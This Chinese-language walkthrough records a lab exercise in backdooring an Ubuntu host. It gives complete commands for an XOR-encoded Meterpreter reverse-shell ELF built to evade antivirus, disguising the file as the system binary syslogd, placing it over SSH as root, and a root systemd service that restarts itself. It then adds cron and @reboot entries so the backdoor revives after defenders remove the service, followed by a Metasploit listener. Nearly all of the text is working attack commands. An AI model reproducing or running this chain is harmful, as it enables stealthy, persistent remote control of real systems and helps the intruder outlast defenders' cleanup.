前言

  记录了一次从生成免杀 Meterpreter 载荷、创建 Systemd 持久化服务,到获取会话的过程。
  很多步骤很简单,总的流程差不多这样吧,遇到过通过cron定时任务启动的,将后门执行命令写入 /etc/crontab 或 /var/spool/cron/crontabs/root ,定时任务启动的“复活”办法。


环境信息

角色 IP 地址 操作系统
攻击机 (Kali) 192.168.11.146 Kali Linux 2024.2
目标机 (受害) 192.168.11.128 Ubuntu 22.04 LTS

攻击链概览

  1. 利用 x64/xor_dynamic 编码器生成免杀 ELF 反向载荷
  2. 直接将载荷投递至目标 /usr/bin/,伪装成系统进程 syslogd
  3. 创建 Systemd 服务单元,实现崩溃自动重启与开机自启
  4. 攻击机开启 Meterpreter 监听,成功上线

操作步骤

生成免杀 ELF 载荷

UPX 加壳会被火绒立即查杀,但使用 x64/xor_dynamic 编码器多次迭代可有效绕过落地杀(启动后没检测过是否会被查杀):

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.11.146 LPORT=4444 -e x64/xor_dynamic -i 3 -f elf -o syslogd
  • -p:指定 64 位 Meterpreter 反向 TCP 负载
  • LHOST:攻击机 IP
  • LPORT:监听端口
  • -e x64/xor_dynamic:动态 XOR 编码器,每次生成不同 XOR 密钥,特征不固定
  • -i 3:迭代编码 3 次,增加混淆度
  • -o syslogd:输出文件,伪装成系统日志进程

将载荷投递至目标系统目录

假设已知目标 root 密码,通过 SCP 一步到位放入 /usr/bin/,并远程赋权:

1
2
scp syslogd root@192.168.11.128:/usr/bin/syslogd
ssh root@192.168.11.128 "chmod +x /usr/bin/syslogd"

创建 Systemd 持久化服务

登录目标机,编写伪装服务单元文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat <<EOF > /etc/systemd/system/syslogd.service
[Unit]
Description=System Log Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/syslogd
Restart=always
RestartSec=5
User=root
Group=root

[Install]
WantedBy=multi-user.target
EOF

核心参数说明:

  • Restart=always:进程被手动 kill 后 5 秒自动重启
  • WantedBy=multi-user.target:开机自启

重载并启动服务:

1
2
3
systemctl daemon-reload
systemctl enable syslogd
systemctl start syslogd

检查服务状态:

1
systemctl status syslogd

攻击机开启监听

在 Kali 上启动 Metasploit 监听器,建议绑定所有接口避免 IP 绑定错误:

1
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.11.146; set LPORT 4444; run"

持久化验证:

1
kill -9 $(pgrep syslogd)

cron定时任务双保险

在已获得目标机 root 权限的前提下,添加一条每分钟执行一次的隐藏 Cron 任务,使后门即使被 Systemd 停用也能自动复活。

修改系统级 Crontab

1
2
echo "* * * * * root /usr/bin/syslogd" >> /etc/crontab
echo "@reboot root /usr/bin/syslogd" >> /etc/crontab
  • 每分钟以 root 身份执行一次 /usr/bin/syslogd
  • 与每分钟执行结合,即使服务被删,重启后也能立即复活

直接写入用户 Crontab

1
(crontab -l 2>/dev/null; echo "* * * * * /usr/bin/syslogd") | crontab -
  • 如果当前是 root 用户,此命令会将任务写入 root 的私有 Crontab 文件
  • 查看效果:crontab -l

模拟清理防守方服务

1
2
3
4
systemctl stop syslogd.service
systemctl disable syslogd.service
rm /etc/systemd/system/syslogd.service
systemctl daemon-reload

攻击机开启监听

开启监听,等待目标机木马启动后,即可上线:

1
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.11.146; set LPORT 4444; run"